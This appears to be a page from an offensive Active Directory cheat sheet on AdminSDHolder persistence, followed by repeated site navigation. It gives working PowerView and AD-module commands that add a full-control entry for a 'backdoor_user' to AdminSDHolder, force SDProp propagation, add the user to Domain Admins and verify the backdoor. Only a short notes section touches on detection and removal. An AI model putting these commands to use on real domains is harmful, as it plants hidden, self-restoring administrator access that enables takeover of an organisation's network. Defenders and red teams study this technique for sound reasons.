AdminSDHolder

Overview

AdminSDHolder is a container whose ACL is copied to all protected objects (Domain Admins, Enterprise Admins, etc.) every 60 minutes by SDProp process. Modify AdminSDHolder ACL → persistent access to protected groups.

Protected Groups

Domain Admins
Enterprise Admins
Schema Admins
Administrators
Account Operators
Backup Operators
Server Operators
Domain Controllers
krbtgt

Add Backdoor ACE

PowerView

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity backdoor_user -Rights All

AD Module

$sid = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser backdoor_user).SID
$acl = Get-Acl "AD:CN=AdminSDHolder,CN=System,DC=domain,DC=local"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $sid, "GenericAll", "Allow"
$acl.AddAccessRule($ace)
Set-Acl "AD:CN=AdminSDHolder,CN=System,DC=domain,DC=local" $acl

Wait for SDProp (or Force)

SDProp runs every 60 minutes. Force it:

Invoke-ADSDPropagation

Or manually trigger:

# Run as SYSTEM on DC
ldifde -i -f - <<EOF
dn:
changetype: modify
replace: runProtectAdminGroupsTask
runProtectAdminGroupsTask: 1
EOF

After SDProp Runs

backdoor_user now has GenericAll on Domain Admins, Enterprise Admins, etc.

# Add yourself to Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members backdoor_user

Even if removed from group, ACL persists through next SDProp cycle.

Verify

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ? {$_.IdentityReference -match "backdoor_user"}

Notes

Very persistent — ACL rewritten every 60 min
Removing ACE from AdminSDHolder removes persistence
Detection: monitor AdminSDHolder ACL changes
Requires Domain Admin to set initially

Quick Reference

Task	Command
Add ACE	`Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity user -Rights All`
Force SDProp	`Invoke-ADSDPropagation`
Verify	Check ACL on “Domain Admins” for backdoor user
Remove	Delete ACE from AdminSDHolder

Enumeration

Attacks

Lateral Movement

Persistence

ADCS

Trust Attacks

BloodHound

Overview

Protected Groups

Add Backdoor ACE

PowerView

AD Module

Wait for SDProp (or Force)

After SDProp Runs

Verify

Notes

Quick Reference

​Overview

​Protected Groups

​Add Backdoor ACE

​PowerView

​AD Module

​Wait for SDProp (or Force)

​After SDProp Runs

​Verify

​Notes

​Quick Reference

Overview

Protected Groups

Add Backdoor ACE

PowerView

AD Module

Wait for SDProp (or Force)

After SDProp Runs

Verify

Notes

Quick Reference